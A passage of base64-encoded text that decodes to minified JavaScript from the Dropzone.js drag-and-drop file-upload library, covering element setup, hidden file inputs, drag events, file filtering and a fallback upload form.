gZWl0aGVyIGJlIG51bGwgb3IgYSBmdW5jdGlvbiIpO2UucHJvdG90eXBlPU9iamVjdC5jcmVhdGUodCYmdC5wcm90b3R5cGUse2NvbnN0cnVjdG9yOnt2YWx1ZTplLHdyaXRhYmxlOiEwLGNvbmZpZ3VyYWJsZTohMH19KSx0JiZ2KGUsdCl9KGksZSk7dmFyIHQsbixyPSh0PWksbj1mdW5jdGlvbigpe2lmKCJ1bmRlZmluZWQiPT10eXBlb2YgUmVmbGVjdHx8IVJlZmxlY3QuY29uc3RydWN0KXJldHVybiExO2lmKFJlZmxlY3QuY29uc3RydWN0LnNoYW0pcmV0dXJuITE7aWYoImZ1bmN0aW9uIj09dHlwZW9mIFByb3h5KXJldHVybiEwO3RyeXtyZXR1cm4gRGF0ZS5wcm90b3R5cGUudG9TdHJpbmcuY2FsbChSZWZsZWN0LmNvbnN0cnVjdChEYXRlLFtdLChmdW5jdGlvbigpe30pKSksITB9Y2F0Y2goZSl7cmV0dXJuITF9fSgpLGZ1bmN0aW9uKCl7dmFyIGUscj1tKHQpO2lmKG4pe3ZhciBpPW0odGhpcykuY29uc3RydWN0b3I7ZT1SZWZsZWN0LmNvbnN0cnVjdChyLGFyZ3VtZW50cyxpKX1lbHNlIGU9ci5hcHBseSh0aGlzLGFyZ3VtZW50cyk7cmV0dXJuIHkodGhpcyxlKX0pO2Z1bmN0aW9uIGkoZSx0KXt2YXIgbixvLGE7aWYocCh0aGlzLGkpLChuPXIuY2FsbCh0aGlzKSkuZWxlbWVudD1lLG4udmVyc2lvbj1pLnZlcnNpb24sbi5jbGlja2FibGVFbGVtZW50cz1bXSxuLmxpc3RlbmVycz1bXSxuLmZpbGVzPVtdLCJzdHJpbmciPT10eXBlb2Ygbi5lbGVtZW50JiYobi5lbGVtZW50PWRvY3VtZW50LnF1ZXJ5U2VsZWN0b3Iobi5lbGVtZW50KSksIW4uZWxlbWVudHx8bnVsbD09bi5lbGVtZW50Lm5vZGVUeXBlKXRocm93IG5ldyBFcnJvcigiSW52YWxpZCBkcm9wem9uZSBlbGVtZW50LiIpO2lmKG4uZWxlbWVudC5kcm9wem9uZSl0aHJvdyBuZXcgRXJyb3IoIkRyb3B6b25lIGFscmVhZHkgYXR0YWNoZWQuIik7aS5pbnN0YW5jZXMucHVzaChnKG4pKSxuLmVsZW1lbnQuZHJvcHpvbmU9ZyhuKTt2YXIgdT1udWxsIT0oYT1pLm9wdGlvbnNGb3JFbGVtZW50KG4uZWxlbWVudCkpP2E6e307aWYobi5vcHRpb25zPWkuZXh0ZW5kKHt9LHMsdSxudWxsIT10P3Q6e30pLG4ub3B0aW9ucy5wcmV2aWV3VGVtcGxhdGU9bi5vcHRpb25zLnByZXZpZXdUZW1wbGF0ZS5yZXBsYWNlKC9cbiovZywiIiksbi5vcHRpb25zLmZvcmNlRmFsbGJhY2t8fCFpLmlzQnJvd3NlclN1cHBvcnRlZCgpKXJldHVybiB5KG4sbi5vcHRpb25zLmZhbGxiYWNrLmNhbGwoZyhuKSkpO2lmKG51bGw9PW4ub3B0aW9ucy51cmwmJihuLm9wdGlvbnMudXJsPW4uZWxlbWVudC5nZXRBdHRyaWJ1dGUoImFjdGlvbiIpKSwhbi5vcHRpb25zLnVybCl0aHJvdyBuZXcgRXJyb3IoIk5vIFVSTCBwcm92aWRlZC4iKTtpZihuLm9wdGlvbnMuYWNjZXB0ZWRGaWxlcyYmbi5vcHRpb25zLmFjY2VwdGVkTWltZVR5cGVzKXRocm93IG5ldyBFcnJvcigiWW91IGNhbid0IHByb3ZpZGUgYm90aCAnYWNjZXB0ZWRGaWxlcycgYW5kICdhY2NlcHRlZE1pbWVUeXBlcycuICdhY2NlcHRlZE1pbWVUeXBlcycgaXMgZGVwcmVjYXRlZC4iKTtpZihuLm9wdGlvbnMudXBsb2FkTXVsdGlwbGUmJm4ub3B0aW9ucy5jaHVua2luZyl0aHJvdyBuZXcgRXJyb3IoIllvdSBjYW5ub3Qgc2V0IGJvdGg6IHVwbG9hZE11bHRpcGxlIGFuZCBjaHVua2luZy4iKTtyZXR1cm4gbi5vcHRpb25zLmFjY2VwdGVkTWltZVR5cGVzJiYobi5vcHRpb25zLmFjY2VwdGVkRmlsZXM9bi5vcHRpb25zLmFjY2VwdGVkTWltZVR5cGVzLGRlbGV0ZSBuLm9wdGlvbnMuYWNjZXB0ZWRNaW1lVHlwZXMpLG51bGwhPW4ub3B0aW9ucy5yZW5hbWVGaWxlbmFtZSYmKG4ub3B0aW9ucy5yZW5hbWVGaWxlPWZ1bmN0aW9uKGUpe3JldHVybiBuLm9wdGlvbnMucmVuYW1lRmlsZW5hbWUuY2FsbChnKG4pLGUubmFtZSxlKX0pLCJzdHJpbmciPT10eXBlb2Ygbi5vcHRpb25zLm1ldGhvZCYmKG4ub3B0aW9ucy5tZXRob2Q9bi5vcHRpb25zLm1ldGhvZC50b1VwcGVyQ2FzZSgpKSwobz1uLmdldEV4aXN0aW5nRmFsbGJhY2soKSkmJm8ucGFyZW50Tm9kZSYmby5wYXJlbnROb2RlLnJlbW92ZUNoaWxkKG8pLCExIT09bi5vcHRpb25zLnByZXZpZXdzQ29udGFpbmVyJiYobi5vcHRpb25zLnByZXZpZXdzQ29udGFpbmVyP24ucHJldmlld3NDb250YWluZXI9aS5nZXRFbGVtZW50KG4ub3B0aW9ucy5wcmV2aWV3c0NvbnRhaW5lciwicHJldmlld3NDb250YWluZXIiKTpuLnByZXZpZXdzQ29udGFpbmVyPW4uZWxlbWVudCksbi5vcHRpb25zLmNsaWNrYWJsZSYmKCEwPT09bi5vcHRpb25zLmNsaWNrYWJsZT9uLmNsaWNrYWJsZUVsZW1lbnRzPVtuLmVsZW1lbnRdOm4uY2xpY2thYmxlRWxlbWVudHM9aS5nZXRFbGVtZW50cyhuLm9wdGlvbnMuY2xpY2thYmxlLCJjbGlja2FibGUiKSksbi5pbml0KCksbn1yZXR1cm4gZChpLFt7a2V5OiJnZXRBY2NlcHRlZEZpbGVzIix2YWx1ZTpmdW5jdGlvbigpe3JldHVybiB0aGlzLmZpbGVzLmZpbHRlcigoZnVuY3Rpb24oZSl7cmV0dXJuIGUuYWNjZXB0ZWR9KSkubWFwKChmdW5jdGlvbihlKXtyZXR1cm4gZX0pKX19LHtrZXk6ImdldFJlamVjdGVkRmlsZXMiLHZhbHVlOmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMuZmlsZXMuZmlsdGVyKChmdW5jdGlvbihlKXtyZXR1cm4hZS5hY2NlcHRlZH0pKS5tYXAoKGZ1bmN0aW9uKGUpe3JldHVybiBlfSkpfX0se2tleToiZ2V0RmlsZXNXaXRoU3RhdHVzIix2YWx1ZTpmdW5jdGlvbihlKXtyZXR1cm4gdGhpcy5maWxlcy5maWx0ZXIoKGZ1bmN0aW9uKHQpe3JldHVybiB0LnN0YXR1cz09PWV9KSkubWFwKChmdW5jdGlvbihlKXtyZXR1cm4gZX0pKX19LHtrZXk6ImdldFF1ZXVlZEZpbGVzIix2YWx1ZTpmdW5jdGlvbigpe3JldHVybiB0aGlzLmdldEZpbGVzV2l0aFN0YXR1cyhpLlFVRVVFRCl9fSx7a2V5OiJnZXRVcGxvYWRpbmdGaWxlcyIsdmFsdWU6ZnVuY3Rpb24oKXtyZXR1cm4gdGhpcy5nZXRGaWxlc1dpdGhTdGF0dXMoaS5VUExPQURJTkcpfX0se2tleToiZ2V0QWRkZWRGaWxlcyIsdmFsdWU6ZnVuY3Rpb24oKXtyZXR1cm4gdGhpcy5nZXRGaWxlc1dpdGhTdGF0dXMoaS5BRERFRCl9fSx7a2V5OiJnZXRBY3RpdmVGaWxlcyIsdmFsdWU6ZnVuY3Rpb24oKXtyZXR1cm4gdGhpcy5maWxlcy5maWx0ZXIoKGZ1bmN0aW9uKGUpe3JldHVybiBlLnN0YXR1cz09PWkuVVBMT0FESU5HfHxlLnN0YXR1cz09PWkuUVVFVUVEfSkpLm1hcCgoZnVuY3Rpb24oZSl7cmV0dXJuIGV9KSl9fSx7a2V5OiJpbml0Iix2YWx1ZTpmdW5jdGlvbigpe3ZhciBlPXRoaXM7ImZvcm0iPT09dGhpcy5lbGVtZW50LnRhZ05hbWUmJnRoaXMuZWxlbWVudC5zZXRBdHRyaWJ1dGUoImVuY3R5cGUiLCJtdWx0aXBhcnQvZm9ybS1kYXRhIiksdGhpcy5lbGVtZW50LmNsYXNzTGlzdC5jb250YWlucygiZHJvcHpvbmUiKSYmIXRoaXMuZWxlbWVudC5xdWVyeVNlbGVjdG9yKCIuZHotbWVzc2FnZSIpJiZ0aGlzLmVsZW1lbnQuYXBwZW5kQ2hpbGQoaS5jcmVhdGVFbGVtZW50KCc8ZGl2IGNsYXNzPSJkei1kZWZhdWx0IGR6LW1lc3NhZ2UiPjxidXR0b24gY2xhc3M9ImR6LWJ1dHRvbiIgdHlwZT0iYnV0dG9uIj4nLmNvbmNhdCh0aGlzLm9wdGlvbnMuZGljdERlZmF1bHRNZXNzYWdlLCI8L2J1dHRvbj48L2Rpdj4iKSkpLHRoaXMuY2xpY2thYmxlRWxlbWVudHMubGVuZ3RoJiZmdW5jdGlvbiB0KCl7ZS5oaWRkZW5GaWxlSW5wdXQmJmUuaGlkZGVuRmlsZUlucHV0LnBhcmVudE5vZGUucmVtb3ZlQ2hpbGQoZS5oaWRkZW5GaWxlSW5wdXQpLGUuaGlkZGVuRmlsZUlucHV0PWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImlucHV0IiksZS5oaWRkZW5GaWxlSW5wdXQuc2V0QXR0cmlidXRlKCJ0eXBlIiwiZmlsZSIpLChudWxsPT09ZS5vcHRpb25zLm1heEZpbGVzfHxlLm9wdGlvbnMubWF4RmlsZXM+MSkmJmUuaGlkZGVuRmlsZUlucHV0LnNldEF0dHJpYnV0ZSgibXVsdGlwbGUiLCJtdWx0aXBsZSIpLGUuaGlkZGVuRmlsZUlucHV0LmNsYXNzTmFtZT0iZHotaGlkZGVuLWlucHV0IixudWxsIT09ZS5vcHRpb25zLmFjY2VwdGVkRmlsZXMmJmUuaGlkZGVuRmlsZUlucHV0LnNldEF0dHJpYnV0ZSgiYWNjZXB0IixlLm9wdGlvbnMuYWNjZXB0ZWRGaWxlcyksbnVsbCE9PWUub3B0aW9ucy5jYXB0dXJlJiZlLmhpZGRlbkZpbGVJbnB1dC5zZXRBdHRyaWJ1dGUoImNhcHR1cmUiLGUub3B0aW9ucy5jYXB0dXJlKSxlLmhpZGRlbkZpbGVJbnB1dC5zZXRBdHRyaWJ1dGUoInRhYmluZGV4IiwiLTEiKSxlLmhpZGRlbkZpbGVJbnB1dC5zdHlsZS52aXNpYmlsaXR5PSJoaWRkZW4iLGUuaGlkZGVuRmlsZUlucHV0LnN0eWxlLnBvc2l0aW9uPSJhYnNvbHV0ZSIsZS5oaWRkZW5GaWxlSW5wdXQuc3R5bGUudG9wPSIwIixlLmhpZGRlbkZpbGVJbnB1dC5zdHlsZS5sZWZ0PSIwIixlLmhpZGRlbkZpbGVJbnB1dC5zdHlsZS5oZWlnaHQ9IjAiLGUuaGlkZGVuRmlsZUlucHV0LnN0eWxlLndpZHRoPSIwIixpLmdldEVsZW1lbnQoZS5vcHRpb25zLmhpZGRlbklucHV0Q29udGFpbmVyLCJoaWRkZW5JbnB1dENvbnRhaW5lciIpLmFwcGVuZENoaWxkKGUuaGlkZGVuRmlsZUlucHV0KSxlLmhpZGRlbkZpbGVJbnB1dC5hZGRFdmVudExpc3RlbmVyKCJjaGFuZ2UiLChmdW5jdGlvbigpe3ZhciBuPWUuaGlkZGVuRmlsZUlucHV0LmZpbGVzO2lmKG4ubGVuZ3RoKXt2YXIgcixpPWMobiwhMCk7dHJ5e2ZvcihpLnMoKTshKHI9aS5uKCkpLmRvbmU7KXt2YXIgbz1yLnZhbHVlO2UuYWRkRmlsZShvKX19Y2F0Y2goZSl7aS5lKGUpfWZpbmFsbHl7aS5mKCl9fWUuZW1pdCgiYWRkZWRmaWxlcyIsbiksdCgpfSkpfSgpLHRoaXMuVVJMPW51bGwhPT13aW5kb3cuVVJMP3dpbmRvdy5VUkw6d2luZG93LndlYmtpdFVSTDt2YXIgdCxuPWModGhpcy5ldmVudHMsITApO3RyeXtmb3Iobi5zKCk7ISh0PW4ubigpKS5kb25lOyl7dmFyIHI9dC52YWx1ZTt0aGlzLm9uKHIsdGhpcy5vcHRpb25zW3JdKX19Y2F0Y2goZSl7bi5lKGUpfWZpbmFsbHl7bi5mKCl9dGhpcy5vbigidXBsb2FkcHJvZ3Jlc3MiLChmdW5jdGlvbigpe3JldHVybiBlLnVwZGF0ZVRvdGFsVXBsb2FkUHJvZ3Jlc3MoKX0pKSx0aGlzLm9uKCJyZW1vdmVkZmlsZSIsKGZ1bmN0aW9uKCl7cmV0dXJuIGUudXBkYXRlVG90YWxVcGxvYWRQcm9ncmVzcygpfSkpLHRoaXMub24oImNhbmNlbGVkIiwoZnVuY3Rpb24odCl7cmV0dXJuIGUuZW1pdCgiY29tcGxldGUiLHQpfSkpLHRoaXMub24oImNvbXBsZXRlIiwoZnVuY3Rpb24odCl7aWYoMD09PWUuZ2V0QWRkZWRGaWxlcygpLmxlbmd0aCYmMD09PWUuZ2V0VXBsb2FkaW5nRmlsZXMoKS5sZW5ndGgmJjA9PT1lLmdldFF1ZXVlZEZpbGVzKCkubGVuZ3RoKXJldHVybiBzZXRUaW1lb3V0KChmdW5jdGlvbigpe3JldHVybiBlLmVtaXQoInF1ZXVlY29tcGxldGUiKX0pLDApfSkpO3ZhciBvPWZ1bmN0aW9uKGUpe2lmKGZ1bmN0aW9uKGUpe2lmKGUuZGF0YVRyYW5zZmVyLnR5cGVzKWZvcih2YXIgdD0wO3Q8ZS5kYXRhVHJhbnNmZXIudHlwZXMubGVuZ3RoO3QrKylpZigiRmlsZXMiPT09ZS5kYXRhVHJhbnNmZXIudHlwZXNbdF0pcmV0dXJuITA7cmV0dXJuITF9KGUpKXJldHVybiBlLnN0b3BQcm9wYWdhdGlvbigpLGUucHJldmVudERlZmF1bHQ/ZS5wcmV2ZW50RGVmYXVsdCgpOmUucmV0dXJuVmFsdWU9ITF9O3JldHVybiB0aGlzLmxpc3RlbmVycz1be2VsZW1lbnQ6dGhpcy5lbGVtZW50LGV2ZW50czp7ZHJhZ3N0YXJ0OmZ1bmN0aW9uKHQpe3JldHVybiBlLmVtaXQoImRyYWdzdGFydCIsdCl9LGRyYWdlbnRlcjpmdW5jdGlvbih0KXtyZXR1cm4gbyh0KSxlLmVtaXQoImRyYWdlbnRlciIsdCl9LGRyYWdvdmVyOmZ1bmN0aW9uKHQpe3ZhciBuO3RyeXtuPXQuZGF0YVRyYW5zZmVyLmVmZmVjdEFsbG93ZWR9Y2F0Y2goZSl7fXJldHVybiB0LmRhdGFUcmFuc2Zlci5kcm9wRWZmZWN0PSJtb3ZlIj09PW58fCJsaW5rTW92ZSI9PT1uPyJtb3ZlIjoiY29weSIsbyh0KSxlLmVtaXQoImRyYWdvdmVyIix0KX0sZHJhZ2xlYXZlOmZ1bmN0aW9uKHQpe3JldHVybiBlLmVtaXQoImRyYWdsZWF2ZSIsdCl9LGRyb3A6ZnVuY3Rpb24odCl7cmV0dXJuIG8odCksZS5kcm9wKHQpfSxkcmFnZW5kOmZ1bmN0aW9uKHQpe3JldHVybiBlLmVtaXQoImRyYWdlbmQiLHQpfX19XSx0aGlzLmNsaWNrYWJsZUVsZW1lbnRzLmZvckVhY2goKGZ1bmN0aW9uKHQpe3JldHVybiBlLmxpc3RlbmVycy5wdXNoKHtlbGVtZW50OnQsZXZlbnRzOntjbGljazpmdW5jdGlvbihuKXtyZXR1cm4odCE9PWUuZWxlbWVudHx8bi50YXJnZXQ9PT1lLmVsZW1lbnR8fGkuZWxlbWVudEluc2lkZShuLnRhcmdldCxlLmVsZW1lbnQucXVlcnlTZWxlY3RvcigiLmR6LW1lc3NhZ2UiKSkpJiZlLmhpZGRlbkZpbGVJbnB1dC5jbGljaygpLCEwfX19KX0pKSx0aGlzLmVuYWJsZSgpLHRoaXMub3B0aW9ucy5pbml0LmNhbGwodGhpcyl9fSx7a2V5OiJkZXN0cm95Iix2YWx1ZTpmdW5jdGlvbigpe3JldHVybiB0aGlzLmRpc2FibGUoKSx0aGlzLnJlbW92ZUFsbEZpbGVzKCEwKSwobnVsbCE9dGhpcy5oaWRkZW5GaWxlSW5wdXQ/dGhpcy5oaWRkZW5GaWxlSW5wdXQucGFyZW50Tm9kZTp2b2lkIDApJiYodGhpcy5oaWRkZW5GaWxlSW5wdXQucGFyZW50Tm9kZS5yZW1vdmVDaGlsZCh0aGlzLmhpZGRlbkZpbGVJbnB1dCksdGhpcy5oaWRkZW5GaWxlSW5wdXQ9bnVsbCksZGVsZXRlIHRoaXMuZWxlbWVudC5kcm9wem9uZSxpLmluc3RhbmNlcy5zcGxpY2UoaS5pbnN0YW5jZXMuaW5kZXhPZih0aGlzKSwxKX19LHtrZXk6InVwZGF0ZVRvdGFsVXBsb2FkUHJvZ3Jlc3MiLHZhbHVlOmZ1bmN0aW9uKCl7dmFyIGUsdD0wLG49MDtpZih0aGlzLmdldEFjdGl2ZUZpbGVzKCkubGVuZ3RoKXt2YXIgcixpPWModGhpcy5nZXRBY3RpdmVGaWxlcygpLCEwKTt0cnl7Zm9yKGkucygpOyEocj1pLm4oKSkuZG9uZTspe3ZhciBvPXIudmFsdWU7dCs9by51cGxvYWQuYnl0ZXNTZW50LG4rPW8udXBsb2FkLnRvdGFsfX1jYXRjaChlKXtpLmUoZSl9ZmluYWxseXtpLmYoKX1lPTEwMCp0L259ZWxzZSBlPTEwMDtyZXR1cm4gdGhpcy5lbWl0KCJ0b3RhbHVwbG9hZHByb2dyZXNzIixlLG4sdCl9fSx7a2V5OiJfZ2V0UGFyYW1OYW1lIix2YWx1ZTpmdW5jdGlvbihlKXtyZXR1cm4iZnVuY3Rpb24iPT10eXBlb2YgdGhpcy5vcHRpb25zLnBhcmFtTmFtZT90aGlzLm9wdGlvbnMucGFyYW1OYW1lKGUpOiIiLmNvbmNhdCh0aGlzLm9wdGlvbnMucGFyYW1OYW1lKS5jb25jYXQodGhpcy5vcHRpb25zLnVwbG9hZE11bHRpcGxlPyJbIi5jb25jYXQoZSwiXSIpOiIiKX19LHtrZXk6Il9yZW5hbWVGaWxlIix2YWx1ZTpmdW5jdGlvbihlKXtyZXR1cm4iZnVuY3Rpb24iIT10eXBlb2YgdGhpcy5vcHRpb25zLnJlbmFtZUZpbGU/ZS5uYW1lOnRoaXMub3B0aW9ucy5yZW5hbWVGaWxlKGUpfX0se2tleToiZ2V0RmFsbGJhY2tGb3JtIix2YWx1ZTpmdW5jdGlvbigpe3ZhciBlLHQ7aWYoZT10aGlzLmdldEV4aXN0aW5nRmFsbGJhY2soKSlyZXR1cm4gZTt2YXIgbj0nPGRpdiBjbGFzcz0iZHotZmFsbGJhY2siPic7dGhpcy5vcHRpb25zLmRpY3RGYWxsYmFja1RleHQmJihuKz0iPHA+Ii5jb25jYXQodGhpcy5vcHRpb25zLmRpY3RGYWxsYmFja1RleHQsIjwvcD4iKSksbis9JzxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSInLmNvbmNhdCh0aGlzLl9nZXRQYXJhbU5hbWUoMCksJyIgJykuY29uY2F0KHRoaXMub3B0aW9ucy51cGxvYWRNdWx0aXBsZT8nbXVsdGlwbGU9Im11bHRpcGxlIic6dm9pZCAwLCcgLz48aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iVXBsb2FkISI+PC9kaXY+Jyk7dmFyIHI9aS5jcmVhdGVFbGVtZW50KG4pO3JldHVybiJGT1JNIiE9PXRoaXMuZWxlbWVudC50YWdOYW1lPyh0PWkuY3JlYXRlRWxlbWVudCgnPGZvcm0gYWN0aW9uPSInLmNvbmNhdCh0aGlzLm9wdGlvbnMudXJsLCciIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiIG1ldGhvZD0iJykuY29uY2F0KHRoaXMub3B0aW9ucy5tZXRob2QsJyI+PC9mb3JtPicpKSkuYXBwZW5kQ2hpbGQocik6KHRoaXMuZWxlbWVudC5zZXRBdHRyaWJ1dGUoImVuY3R5cGUiLCJtdWx0aXBhcnQvZm9ybS1kYXRhIiksdGhpcy5lbGVtZW50LnNldEF0dHJpYnV0ZSgibWV0aG9kIix0aGlzLm9wdGlvbnMubWV0aG9kKSksbnVsbCE9dD90OnJ9fSx7a2V5OiJnZXRFeGlzdGluZ0ZhbGxiYWNrIix2YWx1ZTpmdW5jdGlvbigpe2Zvcih2YXIgZT1mdW5jdGlvbihlKXt2YXIgdCxuPWMoZSwhMCk7dHJ5e2ZvcihuLnMoKTshKHQ9bi5uKCkpLmRvbmU7KXt2YXIgcj10LnZhbHVlO2lmKC8oXnwgKWZhbGxiYWNrKCR8ICkvLnRlc3Qoci5jbGFzc05hbWUpKXJldHVybiByfX1jYXRjaChlKXtuLmUoZSl9ZmluYWxseXtuLmYoKX19LHQ9MCxuPVsiZGl2IiwiZm9ybSJdO3Q8bi5sZW5ndGg7dCsrKXt2YXIgcixpPW5bdF07aWYocj1lKHRoaXMuZWxlbWVudC5nZXRFbGVtZW50c0J5VGFnTmFtZShpKSkpcmV0dXJuIHJ9fX0se2tleToic2V0dXBFdmVudExpc3RlbmVycyIsdmFsdWU6ZnVuY3Rpb24oKXtyZXR1cm4gdGhpcy5saXN0ZW5lcnMubWFwKChmdW5jdGlvbihlKXtyZXR1cm4gZnVuY3Rpb24oKXt2YXIgdD1bXTtmb3IodmFyIG4gaW4gZS5ldmVudHMpe3ZhciByPWUuZXZlbnRzW25dO3QucHVzaChlLmVsZW1lbnQuYWRkRXZlbnRMaXN0ZW5lcihuLHIsITEpKX1yZXR1cm4gdH0oKX0pKX19LHtrZXk6InJlbW92ZUV2ZW50TGlzdGVuZXJzIix2YWx1ZTpmdW5jdGlvbigpe3JldHVybiB0aGlzLmxpc3RlbmVycy5tYXAoKGZ1bmN0aW9uKGUpe3JldHVybiBmdW5jdGlvbigpe3ZhciB0PVtdO2Zvcih2YXIgbiBpbiBlLmV2ZW50cyl7dmFyIHI9ZS5ldmVudHNbbl07dC5wdXNoKGUuZWxlbWVudC5yZW1vdmVFdmVudExpc3RlbmVyKG4sciwhMSkpfXJldHVybiB0fSgpfSkpfX0se2tleToiZGlzYWJsZSIsdmFsdWU6ZnVuY3Rpb24oKXt2YXIgZT10aGlzO3JldHVybiB0aGlzLmNsaWNrYWJsZUVsZW1lbnRzLmZvckVhY2goKGZ1bmN0aW9uKGUpe3JldHVybiBlLmNsYXNzTGlzdC5yZW1vdmUoImR6LWNsaWNrYWJsZSIpfSkpLHRoaXMucmVtb3ZlRXZlbnRMaXN0ZW5lcnMoKSx0aGlzLmRpc2FibGVkPSEwLHRoaXMuZmlsZXMubWFwKChmdW5jdGlvbih0KXtyZXR1cm4gZS5jYW5jZWxVcGxvYWQodCl9KSl9fSx7a2V5OiJlbmFibGUiLHZhbHVlOmZ1bmN0aW9uKCl7cmV0dXJuIGRlbGV0ZSB0aGlzLmRpc2FibGVkLHRoaXMuY2xpY2thYmxlRWxlbWVudHMuZm9yRWFjaCgoZnVuY3Rpb24oZSl7cmV0dXJuIGUuY2xhc3NMaXN0LmFkZCgiZHotY2xpY2thYmxlIil9KSksdGhpcy5zZXR1cEV2ZW50TGlzdGVuZXJzKCl9fSx7a2V5OiJmaWxlc2l6ZSIsdmFsdWU6ZnVuY3Rpb24oZSl7dmFyIHQ9MCxuPSJiIjtpZihlPjApe2Zvcih2YXIgcj1bInRiIiwiZ2IiLCJtYiIsImtiIiwiYiJdLGk9MDtpPHIubGVuZ3RoO2krKyl7dmFyIG89cltpXTtpZihlPj1NYXRoLnBvdyh0aGlzLm9wdGlvbnMuZmlsZXNpemVCYXNlLDQtaSkvMTApe3Q9ZS9NYXRoLnBvdyh0aGlzLm9wdGlvbnMuZmlsZXNpemVCYXNlLDQtaSksbj1vO2JyZWFrfX10PU1hdGgucm91bmQoMTAqdCkvMTB9cmV0dXJuIjxzdHJvbmc+Ii5jb25jYXQodCwiPC9zdHJvbmc+ICIpLmNvbmNhdCh0aGlzLm9wdGlvbnMuZGljdEZpbGVTaXplVW5pdHNbbl0pfX0se2tleToiX3VwZGF0ZU1heEZpbGVzUmVhY2hlZENsYXNzIix2YWx1ZTpmdW5jdGlvbigpe3JldHVybiBudWxsIT10aGlzLm9wdGlvbnMubWF4RmlsZXMmJnRoaXMuZ2V0QWNjZXB0ZWRGaWxlcygpLmxlbmd0aD49dGhpcy5vcHRpb25zLm1heEZpbGVzPyh0aGlzLmdldEFjY2VwdGVkRmlsZXMoKS5sZW5ndGg9PT10aGlzLm9wdGlvbnMubWF4RmlsZXMmJnRoaXMuZW1pdCgibWF4ZmlsZXNyZWFjaGVkIix0aGlzLmZpbGVzKSx0aGlzLmVsZW1lbnQuY2xhc3NMaXN0LmFkZCgiZHotbWF4LWZpbGVzLXJlYWNoZWQiKSk6dGhpcy5lbGVtZW50LmNsYXNzTGlzdC5yZW1vdmUoImR6LW1heC1maWxlcy1yZWFjaGVkIil9fSx7a2V5OiJkcm9wIix2YWx1ZTpmdW5jdGlvbihlKXtpZihlLmRhdGFUcmFuc2Zlcil7dGhpcy5lbWl0KCJkcm9wIixlKTtmb3IodmFyIHQ9W10sbj0wO248ZS5kYXRhVHJhbnNmZXIuZmlsZXMubGVuZ3RoO24rKyl0W25dPWUuZGF0YVRyYW5zZmVyLmZpbGVzW25dO2lmKHQubGVuZ3RoKXt2YXIgcj1lLmRhdGFUcmFuc2Zlci5pdGVtcztyJiZyLmxlbmd0aCYmbnVsbCE9clswXS53ZWJraXRHZXRBc0VudHJ5P3RoaXMuX2FkZEZpbGVzRnJvbUl0ZW1zKHIpOnRoaXMuaGFuZGxlRmlsZXModCl9dGhpcy5lbWl0KCJhZGRlZGZpbGVzIix0KX19fSx7a2V5OiJwYXN0ZSIsdmFsdWU6ZnVuY3Rpb24oZSl7aWYobnVsbCE9KG51bGwhPSh0PW51bGwhPWU/ZS5jbGlwYm9hcmREYXRhOnZvaWQgMCk/ZnVuY3Rpb24oZSl7cmV0dXJuIGUuaXRlbXN9KHQpOnZvaWQgMCkpe3ZhciB0O3RoaXMuZW1pdCgicGFzdGUiLGUpO3ZhciBuPWUuY2xpcGJvYXJkRGF0YS5pdGVtcztyZXR1cm4gbi5sZW5ndGg/dGhpcy5fYWRkRmlsZXNGcm9tSXRlbXMobik6dm9pZCAwfX19LHtrZXk6ImhhbmRsZUZpbGVzIix2YWx1ZTpmdW5jdGlvbihlKXt2YXIgdCxuPWMoZSwhMCk7dHJ5e2ZvcihuLnMoKTshKHQ9bi5uKCkpLmRvbmU7KXt2YXIgcj10LnZhbHVlO3RoaXMuYWRkRmlsZShyKX19Y2F0Y2goZSl7bi5lKGUpfWZpbmFsbHl7bi5mKCl9fX0se2tleToiX2FkZEZpbGVzRnJvbUl0ZW1zIix2YWx1ZTpmdW5jdGlvbihlKXt2YXIgdD10aGlzO3JldHVybiBmdW5jdGlvbigpe3ZhciBuLHI9W10saT1jKGUsITApO3RyeXtmb3IoaS5zKCk7IShuPWkubigpKS5kb25lOyl7dmFyIG8sYT1uLnZhbHVlO251bGwhPWEud2Via2l0R2V0QXNFbnRyeSYmKG89YS53ZWJraXRHZXRBc0VudHJ5KCkpP28uaXNGaWxlP3IucHVzaCh0LmFkZEZpbGUoYS5nZXRBc0ZpbGUoKSkpOm8uaXNEaXJlY3Rvcnk/ci5wdXNoKHQuX2FkZEZpbGVzRnJvbURpcmVjdG9yeShvLG8ubmFtZSkpOnIucHVzaCh2b2lkIDApOm51bGw9PWEuZ2V0QXNGaWxlfHxudWxsIT1hLmtpbmQmJiJmaWxlIiE9PWEua2luZD9yLnB1c2godm9pZCAwKTpyLnB1c2godC5hZGRGaWxlKGEuZ2V0QXNGaWxlKCkpKX19Y2F0Y2goZSl7aS5lKGUpfWZpbmFsbHl7aS5mKCl9cmV0dXJuIHJ9KCl9fSx7a2V5OiJfYWRkRmlsZXNGcm9tRGlyZWN0b3J5Iix2YWx1ZTpmdW5jdGlvbihlLHQpe3ZhciBuPXRoaXMscj1lLmNyZWF0ZVJlYWRlcigpLGk9ZnVuY3Rpb24oZSl7cmV0dXJuImxvZyIsbj1mdW5jdGlvbih0KXtyZXR1cm4gdC5sb2coZSl9LG51bGwhPSh0PWNvbnNvbGUpJiYiZnVuY3Rpb24iPT10eXBlb2YgdC5sb2c/bih0KTp2b2lkIDA7dmFyIHQsbn07cmV0dXJuIGZ1bmN0aW9uIGUoKXtyZXR1cm4gci5yZWFkRW50cmllcygoZnVuY3Rpb24ocil7aWYoci5sZW5ndGg+MCl7dmFyIGksbz1jKHIsITApO3RyeXtmb3Ioby5zKCk7IShpPW8ubigpKS5kb25lOyl7dmFyIGE9aS52YWx1ZTthLmlzRmlsZT9hLmZpbGUoKGZ1bmN0aW9uKGUpe2lmKCFuLm9wdGlvbnMuaWdub3JlSGlkZGVuRmlsZXN8fCIuIiE9PWUubmFtZS5zdWJzdHJpbmcoMCwxKSlyZXR1cm4gZS5mdWxsUGF0aD0iIi5jb25jYXQodCwiLyIpLmNvbmNhdChlLm5hbWUpLG4uYWRkRmlsZShlKX0pKTphLmlzRGlyZWN0b3J5JiZuLl9hZGRGaWxlc0Zyb21EaXJlY3RvcnkoYSwiIi5jb25jYXQodCwiLyIpLmNvbmNhdChhLm5hbWUpKX19Y2F0Y2goZSl7by5lKGUpfWZpbmFsbHl7by5mKCl9ZSgpfXJldHVybiBudWxsfSksaSl9KCl9fSx7a2V5OiJhY2NlcHQiLHZhbHVlOmZ1bmN0aW9uKGUsdCl7dGhpcy5vcHRp